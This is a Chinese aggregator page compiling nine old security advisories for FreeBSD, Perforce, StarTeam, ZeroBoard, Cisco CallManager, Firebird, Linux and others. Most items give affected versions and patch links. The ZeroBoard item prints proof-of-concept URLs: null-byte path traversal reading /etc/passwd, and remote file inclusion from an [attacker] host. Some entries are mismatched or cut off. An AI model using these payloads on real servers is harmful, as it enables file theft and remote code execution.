FreeBSD I386SetLDT多个本地拒绝服务漏洞

| 收藏本文 下载本文 作者:星星有张满月脸

下面就是小编给大家带来的FreeBSD I386SetLDT多个本地拒绝服务漏洞(共含9篇),希望大家喜欢,可以帮助到有需要的朋友!同时,但愿您也能像本文投稿人“星星有张满月脸”一样,积极向本站投稿分享好文章。

FreeBSD I386SetLDT多个本地拒绝服务漏洞

篇1:FreeBSD I386SetLDT多个本地拒绝服务漏洞

受影响系统:FreeBSD FreeBSD 5.5

FreeBSD FreeBSD 5.4

FreeBSD FreeBSD 5.3

FreeBSD FreeBSD 5.2描述:

BUGTRAQ  ID: 8

CVE(CAN) ID: CVE--4178,CVE-2006-4172

FreeBSD就是一种运行在Intel平台上、可以自由使用的开放源码Unix类系统,

FreeBSD中的i386_set_ldt调用允许用户系统的程序动态管理每个进程的本地描述符表。由于使用了有符号的整数且缺少输入验证,内核中bzero可能会被要求处理很大的参数,漏洞代码如下:

415        int error = 0, i;

416        int largest_ld;

..

449                largest_ld = uap->start + uap->num;

450                if (largest_ld >pldt->ldt_len)

451                        largest_ld = pldt->ldt_len;

452                i = largest_ld - uap->start;

453                bzero(&((union descriptor *)(pldt->ldt_base))[uap->start],

454                    sizeof(union descriptor) * i);

在415和416行,“i”和“largest_ld”变量都是有符的整数。在449行,同时添加了uap->start和uap->num,这两个变量都是用户控制的且没有经过正确的检查。在452行,可以将“i”设置为很大的负值,导致在453行以很大的长度参数调用bzero。无效的内存访问会导致内核忙碌。

i386_set_ldt()系统调用会在LDT中设置当前进程的i386描述符列表。该调用接受一个开始选择器数(start)、包含有将要设置描述符的内存数组(descs),以及将要设置的条目数(num)。用户在通过sysarch()调用i386_set_ldt()时,如果将start参数设置为很低的整数值、将descs设置为非空的值,并将num设置为很高的无符整数值,就会触发largest_ld和descs_size(533和540行)中的整数溢出,导致耗尽所有可用的系统资源(541行)。此外还可以将start参数设置为低整数值、descs设置为空、num设置为很高的无符整数值触发largest_ld(515行)中的整数溢出,导致删除系统中的敏感数据(519和520行)。有漏洞的函数如下:

476 static int

477 i386_set_ldt(td, args)

478        struct thread *td;

479        char *args;

480 {

481        int error = 0, i;

482        int largest_ld;

483        struct mdproc *mdp = &td->td_proc->p_md;

484        struct proc_ldt *pldt = 0;

485        struct i386_ldt_args ua, *uap = &ua;

486        union descriptor *descs, *dp;

487        int descs_size;

488

489        if ((error = copyin(args, uap, sizeof(struct

i386_ldt_args))) < 0)

490                return(error);

491

492 #ifdef  DEBUG

493        printf(“i386_set_ldt: start=%d num=%d descs=%p\n”,

494            uap->start, uap->num, (void *)uap->descs);

495 #endif

496

497        if (uap->descs == NULL) {

498                /* Free descriptors */

499                if (uap->start == 0 && uap->num == 0) {

500                        /*

501                          * Treat this as a special case, so userland

needn't

502                          * know magic number NLDT.

503                          */

504                        uap->start = NLDT;

505                        uap->num = MAX_LD - NLDT;

506                }

507                if (uap->start <= LUDATA_SEL || uap->num <= 0)

508                        return (EINVAL);

509                mtx_lock_spin(&sched_lock);

510                pldt = mdp->md_ldt;

511                if (pldt == NULL || uap->start >= pldt->ldt_len) {

512                        mtx_unlock_spin(&sched_lock);

513                        return (0);

514                }

515                largest_ld = uap->start + uap->num;

516                if (largest_ld >pldt->ldt_len)

517                        largest_ld = pldt->ldt_len;

518                i = largest_ld - uap->start;

519                bzero(&((union descriptor

*)(pldt->ldt_base))[uap->start],

520                    sizeof(union descriptor) * i);

521                mtx_unlock_spin(&sched_lock);

522                return (0);

523        }

524

525        if (!(uap->start == LDT_AUTO_ALLOC && uap->num == 1)) {

526                /* complain a for a while if using old methods */

527                if (ldt_warnings++ < NUM_LDT_WARNINGS) {

528                        printf(“Warning: pid %d used static ldt

allocation.\n”,

529                            td->td_proc->p_pid);

530                        printf(“See the i386_set_ldt man page for

more info\n”);

531                }

532                /* verify range of descriptors to modify */

533                largest_ld = uap->start + uap->num;

534                if (uap->start >= MAX_LD ||

535                    uap->num < 0 || largest_ld >MAX_LD) {

536                        return (EINVAL);

537                }

538        }

539

540        descs_size = uap->num * sizeof(union descriptor);

541        descs = (union descriptor *)kmem_alloc(kernel_map, descs_size);

542        if (descs == NULL)

543                return (ENOMEM);

544        error = copyin(uap->descs, descs, descs_size);

545        if (error) {

546                kmem_free(kernel_map, (vm_offset_t)descs, descs_size);

547                return (error);

548        }

549

<*来源:Adriano Lima (adriano@risesecurity.org)

Rodrigo Rubira Branco (rodrigo@risesecurity.org)

链接:marc.theaimsgroup.com/?l=bugtraq&m=115919812814071&w=2

www.idefense.com/intelligence/vulnerabilities/display.php?id=415

www.idefense.com/intelligence/vulnerabilities/display.php?id=414

*>

建议:

厂商补丁:

FreeBSD

-------

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

www.freebsd.org/security/

篇2:Perforce Server多个远程拒绝服务漏洞

受影响系统:Perforce Software Perforce Server <= .3/143793描述:--------------------------------------------------------------------------------BUGTRAQ ID: 28108Perforce软件配置管理系统是客户端/服务器架构的SCM工具,用户可通过P

受影响系统:

Perforce Software Perforce Server <= 2007.3/143793

描述:

--------------------------------------------------------------------------------

BUGTRAQ ID: 28108

Perforce软件配置管理系统是客户端/服务器架构的SCM工具,用户可通过Perforce客户端软件访问其服务端,

如果客户端请求中缺少某些参数的话,由于Perforce服务器中从报文中获得这些值的函数对返回的指针缺少检查,因此可能会触发空指针引用。这个漏洞影响dm-FaultFile、dm-LazyCheck、dm-ResolvedFile、dm-OpenFile、crypto等命令。

如果客户端向Perforce服务器发送了server-DiffFile和server-ReleaseFile命令的话,就会将客户端所提供的32位数用作数组初始化中的元素数;畸形的server-DiffFile命令会强制服务器限制死循环,导致耗尽所有内存和系统资源后服务终止,

<*来源:Luigi Auriemma (aluigi@pivx.com)

链接:marc.info/?l=bugtraq&m=120475134221716&w=2

*>

测试方法:

--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

aluigi.org/poc/perforces.zip

建议:

--------------------------------------------------------------------------------

厂商补丁:

Perforce Software

-----------------

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

www.perforce.com/

篇3:Borland StarTeam 含多个远程溢出及拒绝服务漏洞

受影响系统: Borland StarTeam server <= 10.0.0.57 Borland StarTeam MPX <= 6.7 描述: Borland Starteam是Borland公司ALM生命周期管理的核心工具,是目前市面上最好的软件配置管理工具之一, Starteam服务器没有正确地计算为从客户端所

受影响系统:

Borland StarTeam server 2008 <= 10.0.0.57

Borland StarTeam MPX <= 6.7 描述:

Borland Starteam是Borland公司ALM生命周期管理的核心工具,是目前市面上最好的软件配置管理工具之一。 Starteam服务器没有正确地计算为从客户端所接收到的某些数组所需分配的内存数,导致多个整数溢出漏洞。在PROJECT_LOGIN和SET_SERVER_ACL命令中,有32位从客户端所接收到的用于指定报文中条目数量的数字分别被乘以8(或4,具体取决于文件名名称或规范)和12,然后未经考虑32位的限制便将结果用于分配内存,这可能触发堆溢出,允许攻击者控制某些寄存器,导致执行恶意指令。但攻击者必须拥有有效帐号才能利用这些漏洞。 StarTeam MPX也存在多个溢出和拒绝服务漏洞: ------------------------------------------------------------

A] 剩余数据计算整数溢出

------------------------------------------------------------ STMessageBroker67和STMulticastService67进程所使用的TmsgBufMsgDeserializeEx函数用于对入站数据执行还原序列化操作,

协议由报文中顺序排列的三类数据组成:列表,数组(16字节固定大小)和剩余数据。在计算剩余数据大小时存在整数溢出,如果使用了少于报文中所指定的数组数量的话,就可以触发这个溢出。但成功利用这个漏洞只能导致服务崩溃,因为无法利用任意数据覆盖服务器的内存。 ---------------------------------------------

B] 列表处理堆溢出

--------------------------------------------- 列表中包含的初始32位值指定报文中列表组所占的字节数,其中每个列表为16位大小值,之后为其中所声明数量的数据。由于服务器没有检查目标缓冲区的大小,允许攻击者利用之后的堆溢出导致服务崩溃或执行任意指令。 ---------------------------------------------------

C] 无法分配内存导致进程终止

--------------------------------------------------- 用于计算所要分配的以下数据数量时: 报文大小

列表大小

数组数 * 16

头大小 如果无法分配上述大小数量内存的话,就会导致服务器终止。 厂商补丁:

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: www.borland.com/

篇4:ZeroBoard多个漏洞

本文作者: 剑心[B.C.]

发布日期:.1.13

漏洞概述:

ZeroBoard是一款在Korea使用广泛的用于web论坛程序,最近在ZeroBoard中发现了多个漏洞,这些漏洞允许一些服务器上敏感信息被泄露,或者导致任意的Php脚本文件被包含并且执行。

漏洞发现:由SSR小组提供漏洞信息。

漏洞细节:

1)文件泄露漏洞

利用这个漏洞需要的系统环境:

Php.ini中以下内容必须这样设置:magic_quotes_gpc = off(注意:outlogin.php只有在Php 5.x下运行时才存在漏洞。)

漏洞描述:

当magic_quotes_gpc设置为off时,Php将丢弃含有NULL空字符的输入变量。

可以在_head.php中找到以下的漏洞代码:

if(eregi(“:\/\/”,$_zb_path)) $_zb_path=“”;

include $_zb_path.“lib.php”;}

也可以在include/write.php中发现以下的漏洞代码:

if(eregi(“:\/\/”,$dir)) $dir=“.”;

include $dir.“/write.php”;

还有outlogin.php中的漏洞代码:

if(eregi(“:\/\/”,$_zb_path)) $_zb_path=“./”;

[snip]

@include $_zb_path.“_head.php”;

漏洞证明:

以下的任何一个URL将触发这个漏洞。

[victim]/_head.php?_zb_path=../../../../../etc/passwd%00

[victim]/include/write.php?dir=../../../../../etc/passwd%00

[victim]/outlogin.php?_zb_path=../../../../../etc/passwd%00

2)Php原代码注射漏洞

所需的系统环境:

Php.ini中以下内容必须这样设置:: register_globals = On and/or allow_url_fopen = On.

漏洞描述:

在print_category.php中使用的$dir变量没有初始化,于是允许远程攻击者包含任意处于其他服务器上的文件,

漏洞证明:

以下的任何一个URL将触发这个漏洞。

[victim]/include/print_category.php?setup[use_category]=1&dir=[attacker]/

[victim]/skin/zero_vote/login.php? dir=[attacker]/

[victim]/skin/zero_vote/setup.php? dir=[attacker]/

[victim]/skin/zero_vote/ask_password.php? dir=[attacker]/

[victim]/skin/zero_vote/error.php? dir=[attacker]/

在include/print_category.php中发现的漏洞代码:

在skin/zero_vote/login.php, skin/zero_vote/setup.php与/zero_vote/setup.php中发现的漏洞代码:

非正式补丁:

在没有官方正式补丁的情况下我们建议你按照以下建议修改原文件:

ZeroBoard 版本4.1pl5

修改_head.php的13行如下:

if ( eregi(“:\/\/”,$_zb_path) || eregi(“\.\.”,$_zb_path)) $_zb_path=“”;

修改include/write.php的16行如下:

if( eregi(“:\/\/”,$dir) || eregi(“\.\.”,$dir)) $dir=“.”;

修改outlogin.php的50行如下:

if ( eregi(“:\/\/”,$_zb_path) || eregi(“\.\.”,$_zb_path)) $_zb_path=“./”;

将以下的代码插入到include/print_category.php的第3行:

if( eregi(“:\/\/”,$dir) || eregi(“\.\.”,$dir)) $dir=“.”;

修改skin/zero_vote/login.php的第1行,skin/zero_vote/setup.php的42行,skin/zero_vote/ask_password.php的第1行,skin/zero_vote/error.php的第1行如下:

“$dir/value.php3”; ?>

篇5:FreeFTPD未正确处理用户输入:多个拒绝服务的漏洞

受影响系统:

freeFTPd freeFTPd 1.0.10

描述:

FreeFTPd是一款基于WeOnlyDo FTP/SFTP实现的免费FTP SSL/SFTP服务器,由于没有正确处理用户输入导致FreeFTPd中存在多个拒绝服务漏洞。登录用户可以通过发送端口命令并附加数字(如PORT 123)导致服务崩溃,或发送有用户提供数据的PASV命令导致服务器僵死,

补丁下载:

* Sylpheed Upgrade sylpheed-1.0.6.tar.gzsylpheed.good-day.net/sylpheed/v1.0/sylpheed-1.0.6.tar.gz* Sylpheed Upgrade sylpheed-2.0.4.tar.gzsylpheed.good-day.net/sylpheed/v2.0/sylpheed-2.0.4.tar.gz

篇6:Cisco CallManager拒绝服务漏洞

成功利用这些漏洞会导致拒绝服务攻击,造成高CPU使用率、中断服务或重启服务器,然后可能导致电话无法响应、从CCM注销电话或CCM重启,

详细描述:

Cisco CallManager(CCM)是Cisco IP电话解决方案的基于软件的呼叫处理组件。 P

一些CCM版本没有主动管理TCP连接和Windows消息,导致一些公开的发布端口受拒绝服务攻击影响:

1 CCM没有足够主动的超时到端口的TCP连接,导致足够多的开放连接会耗尽内存和CPU资源。在特定的情况下,CCM会无限期的保持TCP连接开放,直到重启CCM服务或重启服务器。

2 多个到、或7727端口的连接会充满Windows消息队列,导致CCM无法处理Windows Service Manager,在30秒超时后重启CCM,

成功利用这些漏洞会导致拒绝服务攻击,造成高CPU使用率、中断服务或重启服务器,然后可能导致电话无法响应、从CCM注销电话或CCM重启。

受影响系统:

Cisco Call Manager = 3.2

Cisco Call Manager 4.1

Cisco Call Manager 4.0

Cisco Call Manager 3.3

补丁下载:

Cisco

-----

Cisco已经为此发布了一个安全公告(cisco-sa-0118-ccmdos)以及相应补丁:

cisco-sa-20060118-ccmdos:Cisco Call Manager Denial of Service

链接:www.cisco.com/warp/public/707/cisco-sa-20060118-ccmdos.shtml

篇7:请求远程拒绝服务漏洞

/* CSS Document */

Firebird是一款提供多个ANSI SQL-92功能的关系型数据库,可运行在Linux、Windows和各种Unix平台下,

在Firebird的src/remote/server.cpp文件中,process_packet2函数负责处理从客户端发送过来的报文。这个函数有一个switch语句考虑协议中所定义的所有可能的opcode。

/-----------

src/remote/server.cpp:

...

3404   P_OP p = receive->p_operation;

3405   switch (op)

3406   {

3407   case op_connect:

...

3426   case op_compile:

...

3430   case op_attach:

...

- -----------/

在op_connect_request报文的情况下,执行流进入switch语句的以下case:

/-----------

src/remote/server.cpp:

...

3584   case op_connect_request:

3585       aux_request(port, &receive->p_req, sendL);

3586       break;

- -----------/

在调用aux_request()函数并执行break语句后,执行流到达:

/-----------

src/remote/server.cpp:

...

3652   if (port && port->port_state == state_broken) {

3653       if (!port->port_parent) {

3654           gds__log(“SERVER/process_packet: broken port, server exiting”);

3655           port->disconnect(sendL, receive);

3656           ThreadData::restoreSpecific();

3657           return false;

3658       }

3659       port->disconnect(sendL, receive);

3660       port = NULL;

3661   }

- -----------/

通过在接收到op_connect_request报文时调试fbserver.exe二进制程序可以看出满足了第一个if语句的条件,但没有满足第二个if的条件,因此执行流到达port->disconnect()调用:

/-----------

005ACE2C |> 837E 0C 03          CMP DWORD PTR DS:[ESI+C],3

;port->port_state == state_broken ?

005ACE30 |. 75 1B               JNZ SHORT fbserver.005ACE4D

005ACE32 |. 837E 1C 00          CMP DWORD PTR DS:[ESI+1C],0

;port->port_parent == 0?

005ACE36 |. 75 0A               JNZ SHORT fbserver.005ACE42

;this conditional jump is taken

005ACE38 |. 68 D4D65F00         PUSH fbserver.005FD6D4

; ASCII “SERVER/process_packet: broken port, server exiting”

005ACE3D |.^ E9 44FDFFFF         JMP fbserver.005ACB86

005ACE42 |> 53                  PUSH EBX

; /Arg2

005ACE43 |. 57                  PUSH EDI

; |Arg1

005ACE44 |. 8BCE                MOV ECX,ESI

; |

005ACE46 |. E8 65D7FFFF         CALL

; /port->disconnect(sendL, receive)

- -----------/

根据src/remote/remote.h中的定义,port的类型为struct rem_port,

这种结构类型在src/remote/server.cpp中实现了disconnect()函数:

/-----------

src/remote/server.cpp:

1464   void rem_port::disconnect(PACKET* sendL, PACKET* receiveL)

- -----------/

在这个函数中执行以下代码以释放发送和接收的报文并关闭相关的套接字:

/-----------

src/remote/server.cpp:

[1] [2] 下一页

篇8:FreeBSD openpty pty处理多个本地信息泄露漏洞

受影响系统:FreeBSD FreeBSD 7.0FreeBSD FreeBSD 6.3FreeBSD FreeBSD 6.2FreeBSD FreeBSD 6.1FreeBSD FreeBSD 5.5FreeBSD FreeBSD 5.0描述:FreeBSD就是一种运行在Intel平台上、可以自由使用的开放源码Unix类系统,FreeBSD在处理pty的

受影响系统:

FreeBSD FreeBSD 7.0

FreeBSD FreeBSD 6.3

FreeBSD FreeBSD 6.2

FreeBSD FreeBSD 6.1

FreeBSD FreeBSD 5.5

FreeBSD FreeBSD 5.0描述:

FreeBSD就是一种运行在Intel平台上、可以自由使用的开放源码Unix类系统,

FreeBSD在处理pty的权限时存在漏洞,本地攻击者可能利用此漏洞提升自己的权限。FreeBSD的openpty()函数在为打开的伪终端设置权限时存在错误,恶意的本地用户可以通过执行内部调用了openpty()的程序从非 root用户所打开的pty读取文本;此外ptsname(3)函数错误的从/dev中的设备节点名获得了两个字符,但没有核实是否在操作调用用户所拥有的有效pty。pt_chown使用了ptsname(3)的错误结果将pty的所有权更改到调用pt_chown的用户,这样本地用户就可以获得正常情况下应受限的所有权。厂商补丁:

FreeBSD已经为此发布了一个安全公告(FreeBSD-SA-08:01)以及相应补丁:

FreeBSD-SA-08:01:pty snooping

链接:ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-08:01.pty.asc

篇9:Linux Kernel ELF文件跨区域映射本地拒绝服务漏洞

受影响系统:Linux kernel <= 2.6.17.8不受影响系统:Linux kernel 2.6.17.11描述:

BUGTRAQ  ID: 19702

CVE(CAN) ID: CVE-2006-4538

Linux Kernel是开放源码操作系统Linux所使用的内核,

Linux Kernel的IA64和SPARC平台版本在处理某些ELF文件时存在漏洞,可能在跨区域映射时导致系统崩溃,本地攻击者可能利用此漏洞对系统执行拒绝服务攻击,

<*来源:Kirill Korotaev (dev@sw.ru)

链接:secunia.com/advisories/21999/

lkml.org/lkml/2006/9/4/116

*>

建议:

厂商补丁:

Linux

-----

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

www.kernel.org/pub/linux/kernel/v2.6/patch-2.6.17.11.gz

cfm本地包含漏洞利用

include本地文件包含漏洞随想

Microsoft Windows图形设备接口库拒绝服务漏洞

PHP 5.2.11/5.3.0 的多个漏洞漏洞预警

Linux Kernel畸形ULE报文处理远程拒绝服务漏洞

Wordpress插件Pay With Tweet = 1.1多个缺陷及修复漏洞预警

充分利用本地优势促进教学改革

udev漏洞提升

fckeditor漏洞利用

漏洞整改报告

FreeBSD I386SetLDT多个本地拒绝服务漏洞(精选9篇)

欢迎下载DOC格式的FreeBSD I386SetLDT多个本地拒绝服务漏洞,但愿能给您带来参考作用!
推荐度: 推荐 推荐 推荐 推荐 推荐
点击下载文档 文档为doc格式
点击下载本文文档